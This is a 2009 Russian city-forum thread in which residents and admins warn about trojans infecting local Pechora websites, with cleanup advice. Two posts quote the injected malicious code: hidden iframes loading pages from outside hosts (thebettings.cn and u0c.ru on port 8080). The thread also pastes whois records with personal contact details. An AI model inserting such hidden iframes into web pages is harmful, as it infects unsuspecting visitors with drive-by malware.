Форум "Я-Печорец!" - главный форум города Печора http://www.ya-pechorec.ru/forum/ |
|
Вирусные атаки печорских сайтов - осторожно! http://www.ya-pechorec.ru/forum/viewtopic.php?f=164&t=100 |
Страница 1 из 2 |
Автор: | Колёк [ 21 июн 2009, 09:48 ] |
Заголовок сообщения: | Вирусные атаки печорских сайтов - осторожно! |
На сайте "Волны" с 19.06.09 поселился троян, работы ведутся. Это для тех, у кого нет антивируса и файервола. Будьте осторожны. |
Автор: | Смагин Вячеслав [ 22 июн 2009, 23:38 ] |
Заголовок сообщения: | Re: Атаки сайтов |
НА http://pechoraonline.ru ТОЖЕ ВИРУС! |
Автор: | Колёк [ 23 июн 2009, 06:49 ] |
Заголовок сообщения: | Re: Атаки сайтов |
Смагин Вячеслав писал(а): НА http://pechoraonline.ru ТОЖЕ ВИРУС! Пожалуй, наверное хост атаковали |
Автор: | admin [ 24 июн 2009, 09:16 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Хост у сайтов разный, поэтому заражены не с одного хостинга. Такая волна недавно прокатилась по интернету и хостам. Сам боролся.... Помогает срочная смена пароля доступа по FTP и "Касперыч" очень хорошо чистит админские машины. В моем случае вирус поражал только файлы имеющие в своем имени "index". Вот код, который вставлялся в файлы "index" вирусом: Код: <iframe src="http://thebettings.cn:8080/ts/in.cgi?pepsi54" width=125 height=125 style="visibility: hidden"></iframe> Если бы админы сайтов глянули на этот код, то можно было бы сразу сказать диагноз. При посещении зараженных сайтов вирус автоматом "просится" в компьютер пользователя. Будьте внимательны и осторожны. Данные по хостингу Печорских "заболевших" сайтов: Информация о домене PECHORAONLINE.RU Доменное имя pechoraonline.ru % By submitting a query to RIPN's Whois Service % you agree to abide by the following terms of use % http://www.ripn.net/about/servpol.html#3.2 (in Russian) % http://www.ripn.net/about/en/servpol.html#3.2 (in English). domain: PECHORAONLINE.RU type: CORPORATE nserver: ns1.mchost.ru. nserver: ns2.mchost.ru. state: REGISTERED, DELEGATED person: Sergei V Vasichev phone: +7 908 7162143 fax-no: +7 908 7162143 e-mail: domains@mchost.ru e-mail: sergey@vasichev.ru registrar: REGTIME-REG-RIPN created: 2007.02.16 paid-till: 2010.02.16 source: TC-RIPN Информация о домене VOLNA-PLUS.RU Доменное имя volna-plus.ru % By submitting a query to RIPN's Whois Service % you agree to abide by the following terms of use: % http://www.ripn.net/about/servpol.html#3.2 (in Russian) % http://www.ripn.net/about/en/servpol.html#3.2 (in English). domain: VOLNA-PLUS.RU type: CORPORATE nserver: ns2.parma.ru. nserver: srv.pokomi.ru. state: REGISTERED, DELEGATED org: Volna Ltd phone: +7 82142 35690 e-mail: pechora-2000@rambler.ru registrar: RUCENTER-REG-RIPN created: 2008.06.20 paid-till: 2010.06.20 source: TC-RIPN |
Автор: | VOLNA-PLUS точка RU [ 10 июл 2009, 14:39 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Приблизительно такую же хрень для вывода фреймов и у меня дописывало: <iframe src="http://u0c.ru:8080/index.php" width=169 height=114 style="visibility: hidden"></iframe> Оба сайта уже вычищены, пароли заменены. Кстати, эта гадость у меня меняла не только файлы INDEX, но и начинающиеся на MAIN... Люди, будьте бдительны! (Юлиус Фучик). |
Автор: | admin [ 10 июл 2009, 15:07 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
ВНИМАНИЕ!!! Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам! Игорь Дементьев - прими меры!!!!!!!!!! |
Автор: | Смагин Вячеслав [ 07 окт 2009, 15:42 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Сайт Администрации МР опять неблагонадежен! |
Автор: | Игорь Дементьев [ 08 окт 2009, 16:46 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Цитата: Игорь Дементьев - прими меры!!!!!!!!!! Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы. |
Автор: | VOLNA-PLUS точка RU [ 08 окт 2009, 18:02 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
На сайте администрации тоже все чисто! |
Автор: | Колёк [ 08 окт 2009, 19:55 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Игорь Дементьев писал(а): Цитата: Игорь Дементьев - прими меры!!!!!!!!!! Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы. Всё возможно, но антивирус уж как три месяца ругается и ругается: И что особенно, ругается только на главной странице. |
Автор: | Игорь Дементьев [ 09 окт 2009, 11:29 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Цитата: И что особенно, ругается только на главной странице. Это из за скриптов фрэймов, которые в нынешних версиях анти-вирусов, считаются "вредоносными" по причине "подгрузки" пользователю, что собственно и происходит в случае троянов. Как пример: на http://pechora-portal.ru/ - касперский 2009 ругается: "В запрашиваемом объекте по URL-адресу: http://pechora-portal.ru/ Обнаружена угроза: объект заражен HEUR:Trojan.Script.Iframer" (загрузка фрэймовой структуры) А вот другой пример: http://www.pechora-portal.ru/ex.html?/saitnews.htm - это открывается нормально, без "ругани" |
Автор: | Игорь Дементьев [ 09 окт 2009, 11:37 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Цитата: На сайте администрации тоже все чисто! Да, точно: касперский 2009 не ругается... да и не ругался никогда.... о прогрузке скриптов это уже другая история. Сайт как и у меня построен на фрэймовой структуре, поэтому другие антивирусы могут и ругаться... Да и вообще, к вирусам пора привыкать, разве это зависит от администратора сайта, если заражён сервак хостера, например? В принципе, вирусы удаляются на автомате с серваков, если кто-то не поленился потратиться на проги... |
Автор: | Игорь Дементьев [ 09 окт 2009, 11:53 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Цитата: ВНИМАНИЕ!!! Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам! Только ради интереса набрал в Яндексе (яндексом-то уже никто не пользуется: считается "mauvais ton" в нормальном интернет-сообществе) Вот что выпало у меня: И никаких вирусов... (одно приятно - первый в списке ) |
Автор: | admin [ 09 окт 2009, 23:39 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Первый в списке - замечательно - (запрос "Портал Печора")! Набери там же "Я-Печорец!" и наш сайт тоже будет первый в списке |
Автор: | Игорь Дементьев [ 12 окт 2009, 08:10 ] |
Заголовок сообщения: | Re: Вирусные атаки печорских сайтов - осторожно! |
Цитата: Первый в списке - замечательно Я и имел ввиду что ты написал |
Страница 1 из 2 | Часовой пояс: UTC + 3 часа |
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group http://www.phpbb.com/ |